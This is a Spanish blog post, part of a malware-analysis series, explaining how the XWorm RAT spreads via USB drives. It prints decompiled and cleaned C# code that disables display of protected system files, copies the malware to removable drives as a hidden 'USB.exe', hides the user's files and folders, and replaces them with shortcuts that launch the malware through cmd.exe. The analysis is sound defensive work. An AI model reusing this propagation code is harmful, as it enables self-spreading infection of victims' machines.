This article is also available in english

  1. Introducción
  2. Exploración inicial y técnicas anti-análisis
  3. Evasión de defensas y persistencia
  4. Movimiento lateral
  5. Próximamente: Keylogger y captura de criptomonedas
  6. Próximamente: Comunicación con Telegram, obtención de nueva variante
  7. Próximamente: Comando y Control

Si quieres enterarte cuando se publiquen los nuevos posts de esta serie, no olvides suscribirte al blog!

1. Introducción

En en artículo anterior vimos cómo XWorm asegura su presencia contínua en el equipo infectado mediante técnicas de persistencia; en este artículo, veremos cómo se propaga a otros equipos.

2. Movimiento lateral

El movimiento lateral es una táctica utilizada por atacantes para moverse dentro de la red e infectar nuevos dispositivos. Un atacante puede utilizar múltiples técnicas de movimiento lateral dependiendo del tipo de ataque, como lo puede ser la explotación de una vulnerabilidad (EternalBlue en el caso de WannaCry), abuso de mecanismos de autenticación (Pass The Hash), abuso de funciones nativas (carpetas de red), etc.

Una vez establecidas las técnicas de persistencia, el malware invoca a la función q09aZ2HxLB2r7DZRcQehSbnhQjcv68H13cng3irqozRXULuHcNHm5TSVp2VEGsuyIEpZkX, la cual inicia un nuevo hilo mediante el uso del delegado ThreadStart:


public static void q09aZ2HxLB2r7DZRcQehSbnhQjcv68H13cng3irqozRXULuHcNHm5TSVp2VEGsuyIEpZkX()
		{
clase.hilo = new Thread(new ThreadStart(clase.OVMC1Fmt8BEASWtkTmyib2IUFrWOtmx7FGoedl9gRkXD7XxBy3Yj6JjQygUC7lxawpLMik), 1);
				clase.hilo.Start();
			}

Al llamar al método Thread.Start, se invoca la función OVMC1Fmt8BEASWtkTmyib2IUFrWOtmx7FGoedl9gRkXD7XxBy3Yj6JjQygUC7lxawpLMik, la cual realiza el movimiento lateral.

En una primera revisión de la función, nos percatamos que es bastante más dificil de analizar que el resto del código que hasta ahora venimos revisando:


private static void OVMC1Fmt8BEASWtkTmyib2IUFrWOtmx7FGoedl9gRkXD7XxBy3Yj6JjQygUC7lxawpLMik()
		{
			int num2;
			int num4;
			object obj7;
			try
			{
				IL_0000:
				int num = 1;
				object objectValue = RuntimeHelpers.GetObjectValue(Interaction.CreateObject("wscript.shell", ""));
				IL_0018:
				checked
				{
					for (;;)
					{
						IL_074D:
						num = 3;
						if (!true)
						{
							break;
						}
						IL_001D:
						ProjectData.ClearProjectError();
						num2 = 1;
						IL_0025:
						num = 5;
						RegistryKey registryKey = 2HmONKQojJhuyq7J5js7wzrwlEjPZ2gvOmWLZ.Computer.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", true);
						IL_0043:
						num = 6;
...

El código parece no estar decompilado correctamente o estar ofuscado: vemos bucles infinitos, validaciones como “if (!true)”, referencias a otras pártes del código (IL_074D) y múltiples asignaciones de números a variables (num=5).

Dado que no tenemos el código fuente del malware, no podemos saber cómo se veía inicialmente esta función; sin embargo, se me ocurren 3 opciones:

  1. El atacante ofuscó esta función para dificultar su análisis.
  2. Ocurrió un problema en el decompilado de la función.
  3. El atacante reutilizó código de otro malware.

Las primeras dos opciones me parecen difíciles de creer; si el atacante quisiese dificultar el análisis de esta función, ¿por qué no hacerlo con el resto? como veremos luego, el objetivo final del malware (funciones RAT) no esta ofuscado de esta manera. La otra opción es que sea un error del decompilador, pero, ¿por qué solo ocurre en esta función?.

En base a ello me inclino a creer que es la tercera opción: el atacante reutilizó el código de su arsenal u otro malware, donde probablemente se realizó un ofuscado.

2.1 Análisis paso a paso

Si bien analizar la función parece dificil, podemos enfocarnos en las líneas de código que parecen estar ejecutando algo:

La función inicia modificando una llave de registro: alt text

Código limpio:

RegistryKey registryKey = clase.Computer.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", true);
	if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue("ShowSuperHidden"), 1, false))
		{
			registryKey.SetValue("ShowSuperHidden", 0);
		}

El propósito de ShowSuperHidden no queda claro en una primera instacia, ¿existen archivos ocultos y super-ocultos? Adentrándonos en la documentación de Microsoft, descubrimos que dicho flag indica si se deben mostrar archivos protegidos del sistema.

XWorm configura el flag en 0, con lo que deshabilita el mostrar archivos protegidos del sistema.

Una vez modificada la llave, el malware itera por las unidades que tiene el sistema y verifica cuales pueden ser utilizadas y son removibles (USBs por ejemplo): alt text Código limpio:

DriveInfo[] drives = DriveInfo.GetDrives(); //obtiene unidades
	int i = 0;
	while (i < drives.Length) //itera por las unidades
		{
			DriveInfo driveInfo = drives[i];
			if (driveInfo.IsReady) //verifica si puede ser utilizada
				{
					if (driveInfo.DriveType == DriveType.Removable) //verifica si es removible
						{
							...
						}
				}
		}

Si el dispositivo es removible y está listo, el malware obtiene la unidad del dispositivo (“D:" por ejemplo), copia un programa a la raiz de este, y configura el programa como oculto y de sistema: alt text Código limpio:

string name = driveInfo.Name; //obtiene el nombre de la unidad
if (!File.Exists(name + programa)) //verifica si existe un programa "USB.exe" en el dispositivo removible
	{
		File.WriteAllBytes(name + programa, File.ReadAllBytes(archivoActual)); //se copia a si mismo con el nombre de "USB.exe"
		File.SetAttributes(name + programa, FileAttributes.Hidden | FileAttributes.System); //configura a "USB.exe" como oculto y de sistema
	}

¿Qué programa copia el malware? Se copia a si mismo con el nombre de “USB.exe”, el cual fue desencriptado en memoria al empezar a ejecutarse XWorm.

Una vez XWorm se copia a los dispositivos removibles y se oculta, procede a iterar por cada archivo en la unidad mediante la función Directory.GetFiles, ocultar dichos archivos y crear accesos directos a estos que ejecuten el malware: alt text Código limpio:

string[] files = Directory.GetFiles(name); //obtiene los archivos existentes en el USB
int j = 0;
while (j < files.Length) //itera por cada archivo
	{
		string text = files[j];
		if ((Operators.CompareString(Path.GetExtension(text).ToLower(), ".lnk", false) != 0) & (Operators.CompareString(text.ToLower(), name.ToLower() + programa.ToLower(), false) != 0)) //verifica si no es un acceso directo ni "USB.exe"
			{
				File.SetAttributes(text, FileAttributes.Hidden | FileAttributes.System); //oculta el archivo y lo configura como de sistema
				object obj = NewLateBinding.LateGet(objectValue, null, "CreateShortcut", new object[] { name + new FileInfo(text).Name + ".lnk" }, null, null, null);
				NewLateBinding.LateSetComplex(obj, null, "windowstyle", new object[] { 7 }, null, null, false, true);
				NewLateBinding.LateSetComplex(obj, null, "TargetPath", new object[] { "cmd.exe" }, null, null, false, true);
				NewLateBinding.LateSetComplex(obj, null, "WorkingDirectory", new object[] { "" }, null, null, false, true);
				NewLateBinding.LateSetComplex(obj, null, "Arguments", new object[] { string.Concat(new string[]
					{
						"/c start ",
						programa.Replace(" ", "\" \""),
						"&start ",
						new FileInfo(text).Name.Replace(" ", "\" \""),
						" & exit"
					}
				)} //crea un acceso directo al archivo que adicionalmente ejecuta USB.exe
				...
			}
	}

El código puede ser complicado de entender, pero si lo analizamos paso a paso, está realizando lo siguiente:

  1. Obtiene todos los archivos existentes en la unidad removible.
  2. Itera por cada archivo y verifica si es un acceso directo (.lnk) o si es el malware copiado en el paso anterior (USB.exe)
  3. Si no es ninguno, oculta y configura como archivo de sistema al archivo.
  4. Crea un acceso directo con el nombre del archivo y lo configura para que ejecute "cmd.exe /c start USB.exe & start archivoOculto & exit"

Al realizar ello, cada vez que un usuario haga doble click al acceso directo se ejecutará XWorm y abrirá el archivo que originalmente estaba en el USB para no levantar sospechas.

El siguiente paso que realiza el malware es cambiar el ícono del acceso directo para que sea el mismo que el del archivo original; dado que no es de interés para el análisis, no ahondaré en ese punto.

Una vez el malware itera por todos los archivos, hace lo mismo con las carpetas; las oculta, configura como protegidas y les crea un acceso directo:

string[] directories = Directory.GetDirectories(name);
int k = 0;
while (k < directories.Length)
	{
		string text2 = directories[k];
		File.SetAttributes(text2, FileAttributes.Hidden | FileAttributes.System);
		object obj4 = NewLateBinding.LateGet(objectValue, null, "CreateShortcut", new object[] { name + Path.GetFileNameWithoutExtension(text2) + " .lnk" }, null, null, null);
		NewLateBinding.LateSetComplex(obj4, null, "windowstyle", new object[] { 7 }, null, null, false, true);
		NewLateBinding.LateSetComplex(obj4, null, "TargetPath", new object[] { "cmd.exe" }, null, null, false, true);
		NewLateBinding.LateSetComplex(obj4, null, "WorkingDirectory", new object[] { "" }, null, null, false, true);
		NewLateBinding.LateSetComplex(obj4, null, "arguments", new object[] { string.Concat(new string[]
			{
				"/c start ",
				Strings.Replace(programa, " ", "\" \"", 1, -1, CompareMethod.Binary),
				"&start explorer ",
				Strings.Replace(new DirectoryInfo(text2).Name, " ", "\" \"", 1, -1, CompareMethod.Binary),
				"&exit"
			}
		)}
		...
	}
					

Como podemos observar, la principal diferencia es que el malware ejecuta "cmd.exe /c start USB.exe & start explorer CarpetaOculta & exit", con lo que se ejecuta el malware y muestra su víctima la carpeta a la que quiere acceder.

Nota sobre el uso de ShowSuperHidden: Si bien uno creería que tener habilitada la opción de “ver carpetas y archivos ocultos” permitiría ver todos los archivos existentes, dicha opción no muestra los archivos ocultos de sistema. Es por ello que no podemos confiarnos y creer poder ver “todos los archivos/programas/carpetas"con esa opción.

3. Análisis del movimiento lateral

En un mundo donde cada vez más programas se propagan a través de la red, me parece interesante el modo que XWorm tiene de propagarse; todos hemos utilizado USBs en algún momento tanto en equipos corporativos como personales, por lo la que técnica utilizada podría infectar múltiples equipos que estén en diferentes redes (por ejemplo si uso el mismo USB en mi casa que en la empresa donde trabajo).

Analizar la técnica utilizada también me permitió aprender algo nuevo sobre los archivos ocultos: no todos son visibles aunque se active la opción de “mostrar archivos ocultos” en el explorador; mediante el análisis dinámico pude evidenciar cómo incluso teniendo dicha opción activa, no podía visualizar el programa USB.exe ni las carpetas/archivos ocultos.

El abrir los archivos originales y cambiar el ícono de los accesos directos parecen cosas pequeñas pero que traen un gran impacto; fuera de la pequeña flecha que evidencia un acceso directo, una víctima no tendría como saber que ha ejecutado algo no debido. Así reconociera el ícono, todos hemos utilizado accesos directos antes, y puede que no piense dos veces antes de hacerle doble click.

Próximos pasos

Hemos visto cómo XWorm se propaga, pero ¿qué hace una vez está en el sistema? En el próximo artículo, exploraremos cómo roba criptomonedas y registra cada tecla que presiona la víctima.

¡Nos vemos en el siguiente artículo!


¿Tienes algún comentario o sugerencia? ¡Puedes dejar tu feedback en el formulario de abajo!